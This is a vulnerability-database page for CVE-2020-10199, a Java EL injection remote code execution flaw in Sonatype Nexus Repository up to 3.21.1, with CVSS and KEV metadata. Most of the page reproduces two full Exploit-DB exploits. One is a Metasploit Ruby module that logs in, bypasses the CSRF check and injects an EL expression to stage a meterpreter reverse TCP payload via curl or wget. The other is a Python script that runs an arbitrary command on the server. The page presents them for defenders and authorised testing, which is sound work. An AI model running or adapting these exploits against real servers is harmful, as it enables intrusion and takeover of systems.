CVE-2020-10199

unknown KEV
Published 2020-04-14 · Modified 2021-11-03
CVSS v3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
CVSS v4 NEW
not yet in upstream
VIR risk
2.5

Description

Sonatype Nexus Repository contains an unspecified vulnerability that allows for remote code execution.

CISA KEV

Vendor
Sonatype
Product
Nexus Repository
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-48343 remote linux verified ruby · 7 KB
Metasploit · 2020-04-17

Nexus Repository Manager - Java EL Injection RCE (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Nexus Repository Manager Java EL Injection RCE',
      'Description'     => %q{
        This module exploits a Java Expression Language (EL) injection in Nexus
        Repository Manager versions up to and including 3.21.1 to execute code
        as the Nexus user.

        This is a post-authentication vulnerability, so credentials are required
        to exploit the bug. Any user regardless of privilege level may be used.

        Tested against 3.21.1-01.
      },
      'Author'          => [
        'Alvaro Muñoz', # Discovery
        'wvu'           # Module
      ],
      'References'      => [
        ['CVE', '2020-10199'],
        ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
        ['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
      ],
      'DisclosureDate'  => '2020-03-31', # Vendor advisory
      'License'         => MSF_LICENSE,
      'Platform'        => 'linux',
      'Arch'            => [ARCH_X86, ARCH_X64],
      'Privileged'      => false,
      'Targets'         => [['Nexus Repository Manager <= 3.21.1', {}]],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
      'CmdStagerFlavor' => %i[curl wget],
      'Notes'           => {
        'Stability'     => [CRASH_SAFE],
        'Reliability'   => [REPEATABLE_SESSION],
        'SideEffects'   => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      Opt::RPORT(8081),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME',  [true, 'Nexus username', 'admin']),
      OptString.new('PASSWORD',  [true, 'Nexus password'])
    ])
  end

  def post_auth?
    # Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
    true
  end

  # Send a GET / request to the server, check the response for a Server header
  # containing the Nexus version, and then check if it's a vulnerable version
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.headers['Server']
      return CheckCode::Unknown('Target did not respond with Server header.')
    end

    # Example Server header:
    # Server: Nexus/3.21.1-01 (OSS)
    version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first

    unless version
      return CheckCode::Unknown('Target did not respond with Nexus version.')
    end

    if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
      return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
    end

    CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    print_status("Executing command stager for #{datastore['PAYLOAD']}")

    # This will drop a binary payload to disk and execute it!
    execute_cmdstager(
      noconcat: true,
      cookie:   login(datastore['USERNAME'], datastore['PASSWORD'])
    )
  end

  def login(username, password)
    print_status("Logging in with #{username}:#{password}")

    res = send_request_cgi({
      'method'     => 'POST',
      'uri'        => normalize_uri(target_uri.path,
                                    '/service/rapture/session'),
      'vars_post'  => {
        'username' => Rex::Text.encode_base64(username),
        'password' => Rex::Text.encode_base64(password)
      },
      'partial'    => true # XXX: Return partial response despite timeout
    }, 3.5)

    unless res
      fail_with(Failure::Unknown, 'Target did not respond to login request')
    end

    cookie = res.get_cookies

    unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
      fail_with(Failure::NoAccess, 'Could not log in with specified creds')
    end

    print_good("Logged in with #{cookie}")
    cookie
  end

  # This is defined so that CmdStager can use it!
  def execute_command(cmd, opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path,
                                '/service/rest/beta/repositories/go/group'),
      # HACK: Bypass CSRF token with random User-Agent header
      'agent'  => rand_text_english(8..42),
      'cookie' => opts[:cookie],
      'ctype'  => 'application/json',
      'data'   => json_payload(cmd)
    )

    unless res
      fail_with(Failure::Unknown, 'Target did not respond to payload request')
    end

    unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
      fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
    end

    print_good("Successfully executed command: #{cmd}")
  end

  # PoC based off API docs for /service/rest/beta/repositories/go/group:
  # http://localhost:8081/#admin/system/api
  def json_payload(cmd)
    {
      'name'                          => 'internal',
      'online'                        => true,
      'storage'                       => {
        'blobStoreName'               => 'default',
        'strictContentTypeValidation' => true
      },
      'group'                         => {
        # XXX: memberNames has to be an array, but the API example was a string
        'memberNames'                 => [el_payload(cmd)]
      }
    }.to_json
  end

  # Helpful resource from which I borrowed the EL payload:
  # https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
  def el_payload(cmd)
    # HACK: Format our EL expression nicely and then strip introduced whitespace
    el = <<~EOF.gsub(/\s+/, '')
      ${
        "".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
          "".getClass().forName("java.lang.Runtime")
        ).exec("PATCH_ME")
      }
    EOF

    # Patch in our command, escaping any double quotes
    el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
  end

end
EDB-49385 webapps java verified python · 2 KB
1F98D · 2021-01-06

Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)

python exploit Source: Exploit-DB
# Exploit Title: Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)
# Exploit Author: 1F98D
# Original Author: Alvaro Muñoz
# Date: 27 May 2020
# Vendor Hompage: https://www.sonatype.com/
# CVE: CVE-2020-10199
# Tested on: Windows 10 x64
# References:
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
# 
# Nexus Repository Manager 3 versions 3.21.1 and below are vulnerable
# to Java EL injection which allows a low privilege user to remotely
# execute code on the target server.
#
#!/usr/bin/python3

import sys
import base64
import requests

URL='http://192.168.1.1:8081'
CMD='cmd.exe /c calc.exe'
USERNAME='admin'
PASSWORD='password'

s = requests.Session()
print('Logging in')
body = {
    'username': base64.b64encode(USERNAME.encode('utf-8')).decode('utf-8'),
    'password': base64.b64encode(PASSWORD.encode('utf-8')).decode('utf-8')
}
r = s.post(URL + '/service/rapture/session',data=body)
if r.status_code != 204:
    print('Login unsuccessful')
    print(r.status_code)
    sys.exit(1)
print('Logged in successfully')

body = {
    'name': 'internal',
    'online': True,
    'storage': {
        'blobStoreName': 'default',
        'strictContentTypeValidation': True
    },
    'group': {
        'memberNames': [
            '$\\A{\'\'.getClass().forName(\'java.lang.Runtime\').getMethods()[6].invoke(null).exec(\''+CMD+'\')}"'
        ]
    },
}
r = s.post(URL + '/service/rest/beta/repositories/go/group', json=body)
if 'java.lang.ProcessImpl' in r.text:
    print('Command executed')
    sys.exit(0)
else:
    print('Error executing command, the following was returned by Nexus')
    print(r.text)

Metasploit modules

Nexus Repository Manager Java EL Injection RCE
Source fetch failed: fetch_error — view the original via the link above.

Package impact

EcosystemPackageVulnerableFixed
java Mavenorg.sonatype.nexus:nexus-extdirect<3.21.23.21.2

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.